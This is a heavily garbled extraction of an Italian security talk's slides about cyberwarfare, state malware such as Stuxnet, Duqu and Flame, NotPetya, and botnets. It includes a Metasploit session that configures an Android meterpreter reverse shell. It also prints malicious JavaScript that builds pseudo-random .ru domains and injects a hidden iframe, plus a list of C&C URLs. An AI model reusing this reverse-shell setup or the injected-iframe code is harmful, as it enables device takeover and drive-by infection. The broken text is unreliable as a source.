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Tra C
yberw

arfare, R
ansom

w
are e A

rm
i digitali

O
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A
ttacch

i ai sistem
i e in

frastru
ttu

re critich
e d

i u
n

 Paese sfru
ttan

d
o

 u
n

icam
en

te le reti in
fo

rm
atich
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G
u

erra C
ib

ern
etica ≉G

u
erra C

o
n

ven
zio

n
ale

●
D

ifficile dare un volto agli attaccanti!
●

N
on esistono truppe sul posto.

●
N

on esistono carri arm
ati, navi o costosissim

i aerei da guerra F-[0-9]{2}.
●

L’attaccante ha bisogno solo di trovare un unico difetto nel sistem
a 

inform
atico che gli consenta di prenderne il controllo. La tipologia di difetto 

dipende dal tipo di attacco (locale o rem
oto) ed è strettam

ente legato al 
target dal quale si vuole sottrarre inform

azioni e/o causare un danno fisico.
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D
ifficile d

are u
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lto

 agli attaccan
ti!
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Q
u

ali in
fo

rm
azio

n
i?

●
S

trategie politiche e m
ilitari.

●
D

ocum
enti o progetti riservati.

●
C

ontatti e com
unicazioni.

●
A

cqua, G
as, R

ete elettrica fuori 
uso.

●
G

estione linee aeree e treni in tilt.
●

P
ubblica A

m
m

inistrazione in tilt.

Q
u

ali d
an

n
i?
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C
h

i so
n

o
 gli atto

ri p
rin

cip
ali?
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H
an

n
o

 fatto
 sto

ria

S
tuxnet

●
S

abotaggio centrali N
atanz

●
D

anneggiam
ento turbine

●
Target: S

istem
i S

C
A

D
A

●
S

i propaga via U
S

B
●

Integra C
ertificati

●
S

frutta 4 0day

D
uqu

●
V

aluta lo stato del program
m

a nucleare iraniano
●

Integra C
ertificati

●
S

frutta 0day
●

A
nalisi del codice riscontrano sim

ilitudini con Stuxnet

G
auss

●
R

ilevato in Libano, Israele, P
alestina, E

m
irati A

rabi
●

P
rogettato per sottrarre cookie e credenziali.

●
M

oduli aggiornabili da rem
oto

●
P

arti di codice risultano sim
ili a Stuxnet e D

uqu

Flam
e

●
S

i propaga via U
S

B
●

Integra C
ertificati

●
S

ottrae docum
enti di testo e file di tipo D

W
G

●
C

attura Im
m

agini e A
udio di S

kype
●

P
arti di codice risultano sim

ili a Stuxnet e D
uqu
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U
n

 so
ld

ato
 in

 m
issio

n
e p

er rip
u

lire le tracce

W
IP

E
R

●
S

oldato in m
issione sul cam

po di battaglia
●

C
ancella le tracce di S

tuxnet e D
uqu

●
P

riorità rim
ozione file .P

N
F (usati da S

tuxnet)
●

R
im

ozione dei dati utili ai tecnici forensi per ottenere 
prova del reato



G
ianni A

m
ato

S
enior S

ecurity A
nalyst presso il C

E
R

T-P
A

w
w

w
.cert-pa.it

g.am
ato@

cert-pa.it

To
r B

ro
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Paylo
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S
hellcode

B
inario
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N
etw

o
rk Traffic

Traffico di rete

G
E

T R
equest
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Sarà u
n

 caso
 ch

e...65.222.202.54

●
Location: U

nited S
tates

●
W

ashington, D
istretto di C

olum
bia

●
< 10 m

in  in auto dal FB
I W

ashington Field 
O

ffice
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V
u

ln
erab

ilità, To
r B

ro
w

ser, Scelte Etich
e
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Q
u

ali arm
i?

●
M

alw
are che hanno lo scopo di 

distruggere, m
odificare o sottrarre 

inform
azioni.

●
A

ttacchi di tipo D
D

oS
 per rendere 

inutilizzabili le infrastrutture 
com

unicative dell’avversario.

M
a so

p
rattu

tto
, co

m
e e d

o
ve p

ro
cu

rarle?

€ 5.424,51
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Se lo
 sco

p
o

 d
el R

an
so

m
w

are n
o

n
 è q

u
ello

 d
i 

m
o

n
etizzare tram

ite il p
agam

en
to

 in
 

b
itco

in
?
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N
o

tPetya R
an

so
m

w
are?

Info
●

G
iugno 2017: N

otP
etya sem

bra essere una nuova variante di P
etya.

●
C

om
e W

annaC
ry sfrutta exploit E

ternalB
lue (Leak N

S
A

).
●

M
ovim

enti laterali tram
ite P

sE
xec e dum

p con M
im

iK
atz.

●
H

a preso di m
ira prevalentem

ente il settore industriale.

A
nom

alie
●

U
nica m

ail di contatto (disattivata).
●

U
nico indirizzo bitcoin (300$).

●
Incasso < 10.000$ (nel periodo critico).

C
onseguenze

●
Il G

overno U
craino, tra i più colpiti, punta il dito contro la R

ussia. P
oi ritratta.

●
D

a più parti si concorda che trattasi di attacco politico m
ascherato da 

ransom
w

are.
●

Lo scopo, al pari di S
hanom

 che cancellava i dati, è stato quello di renderli 
inutilizzabili.
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Se lo
 sco

p
o

 d
ell’attacco

 D
D

o
S n

o
n

 è q
u

ello
 

d
i n

egare il servizio
 m

a d
i m

asch
erare u

n
 

attacco
 d

i altra tip
o

lo
gia?
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B
otnet

S
erver_2

Target

B
ot_1

B
ot_2

B
ot_N

S
Q

Li A
ttack

S
S

H
 B

rute

S
erver_1

M
ilioni di 

richieste

C
entinaia di 

richieste
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KIN
S Tro

jan
 To

o
lkit (like Zeu

S)
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A
n

d
ro

id
 Tro

jan
 - M

etasp
lo

it

   
=[ m

etasploit v4.16.11-dev-                    
]

+ -- --=[ 1690 exploits - 966 auxiliary - 299 post    
]

+ -- --=[ 499 payloads - 40 encoders - 10 nops        ]
+ -- --=[ Free M

etasploit P
ro trial: http://r-7.co/trym

sp ]

m
sf > use exploit/m

ulti/handler
m

sf exploit(handler) > set P
A

Y
LO

A
D

 android/m
eterpreter/reverse_tcp

P
A

Y
LO

A
D

 => android/m
eterpreter/reverse_tcp

m
sf exploit(handler) > set LH

O
S

T 192.168.1.9
LH

O
S

T => 192.168.1.9
m

sf exploit(handler) > set LP
O

R
T 4445

LP
O

R
T => 4445

m
sf exploit(handler) > run



G
ianni A

m
ato

S
enior S

ecurity A
nalyst presso il C

E
R

T-P
A

w
w

w
.cert-pa.it

g.am
ato@

cert-pa.it

A
n

d
ro

id
 Tro

jan
 - V

iru
sTo

tal
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A
n

d
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 Tro

jan
 - In

stall
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C
&

C

Infected
C

lient

C
&

C
_1

C
&

C
_2

C
&

C
_3

C
&

C
_4

C
&

C
_5

06/11/2107 
09:00

06/11/2107 
21:00

07/11/2107 
09:00

08/11/2107 
09:00

07/11/2107 
21:00
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Pseu
d

o
R

an
d

o
m

D
o

m
ain

function nextR
andom

N
um

ber() {
var hi = this.seed / this.Q

;
var lo = this.seed %

 this.Q
;

var test = this.A
 * lo - this.R

 * hi;
if (test > 0) {

    
this.seed = test;
} else {

    
this.seed = test + this.M

;
}return (this.seed * this.oneO

verM
);

}function R
andom

N
um

berG
enerator(unix) {

var d = new
 D

ate(unix * 1000);
var s = d.getH

ours() > 12 ? 1 : 0;
this.seed = 2345678901 + (d.getM

onth() * 0xFFFFFF) + (d.getD
ate() * 0xFFFF)＋

(M
ath.round(s * 0xFFF));

this.A
 = 48271;

this.M
 = 2147483647;

this.Q
 = this.M

 / this.A
;

this.R
 = this.M

 %
 this.A

;
this.oneO

verM
 = 1.0 / this.M

;
this.next = nextR

andom
N

um
ber;

return this;
}function createR

andom
N

um
ber(r, M

in, M
ax) {

return M
ath.round((M

ax - M
in) * r.next() + M

in);
}
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Pseu
d

o
R

an
d

o
m

D
o

m
ain

function generateP
seudoR

andom
S

tring(unix, length, zone) {
var rand = new

 R
andom

N
um

berG
enerator(unix);

var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',
    

'j', 'k', 'l', 'm
', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w

', 'x', 'y', 'z'
];var str = '';
for (var i = 0; i < length; i++) {

    
str += letters[createR

andom
N

um
ber(rand, 0, letters.length - 1)];

}return str + '.' + zone;
}setTim

eout(function() {
try {

    
if (typeof ifram

eW
asC

reated == "undefined") {
        

ifram
eW

asC
reated = true;

        
var unix = M

ath.round(+new
 D

ate() / 1000);
        

var dom
ainN

am
e = generateP

seudoR
andom

S
tring(unix, 16, 'ru');

        
ifrm

 = docum
ent.createE

lem
ent("IFR

A
M

E
");

        
ifrm

.setA
ttribute

　
　
　
　
　

("src", "http://" + dom
ainN

am
e + "/runforestrun?sid=botnet");

        
ifrm

.style.w
idth = "0px";

        
ifrm

.style.height = "0px";
        

ifrm
.style.visibility = "hidden";

        
docum

ent.body.appendC
hild(ifrm

);
    

}} catch (e) {}
}, 500);

hxxp://xm
exlajhysktw

dqe.ru/runforestrun?sid=botnet
hxxp://atsihkcljrqlzvku.ru/runforestrun?sid=botnet
hxxp://m

fw
qdxgdpw

iojrjp.ru/runforestrun?sid=botnet
hxxp://w

m
iudbgrcvapriql.ru/runforestrun?sid=botnet

hxxp://yrxysfyekjfooere.ru/runforestrun?sid=botnet
hxxp://jzkitejvrxgkgpgi.ru/runforestrun?sid=botnet
hxxp://lfbovcaitdrjm

kbe.ru/runforestrun?sid=botnet
hxxp://ulnrpbudycxzdlkt.ru/runforestrun?sid=botnet
hxxp://xqcw

fw
fphw

oieuny.ru/runforestrun?sid=botnet
hxxp://hyoflopkupjioiqq.ru/runforestrun?sid=botnet
hxxp://keglxucgvw

hqttm
i.ru/runforestrun?sid=botnet

hxxp://tlrnhskrgijhw
tlj.ru/runforestrun?sid=botnet

hxxp://vqhtw
lshzzqsltcp.ru/runforestrun?sid=botnet

hxxp://gytcnulxsxpsqkfn.ru/runforestrun?sid=botnet
hxxp://iekiyvsbtyozm

m
w

y.ru/runforestrun?sid=botnet
hxxp://dernflilrdxm

fnye.ru/runforestrun?sid=botnet
hxxp://fjgtm

icxtlxynlpf.ru/runforestrun?sid=botnet
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g

O
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D
u

m
p

 Pu
b

b
lici

E
m

ail

IP
 A

ddress
P

assw
ord

C
ontatti
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Sh
o

d
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 «H
acked

 b
y, IT»
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a, IT»
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d
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b

a, IT, O
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Kn
o

ckp
y R

eso
u

rces

K
nockpy is a python tool designed to enum

erate subdom
ains on a target dom

ain 
through a w

ordlist. It is designed to scan for D
N

S zone transfer and to try to 
bypass the w

ildcard D
N

S record autom
atically if it is enabled. N

ow
 knockpy 

supports queries to VirusTotal subdom
ains, you can setting the A

P
I_K

E
Y

 
w

ithin the config.json file.

●
Project: https://github.com

/guelfow
eb/knock

●
Parser: https://gist.github.com

/guelfow
eb/5f27210130da5d70066a7ed31696be98

●
M

ain: https://gist.github.com
/guelfow

eb/7881c0fd677cb6bec03e607c2303d111
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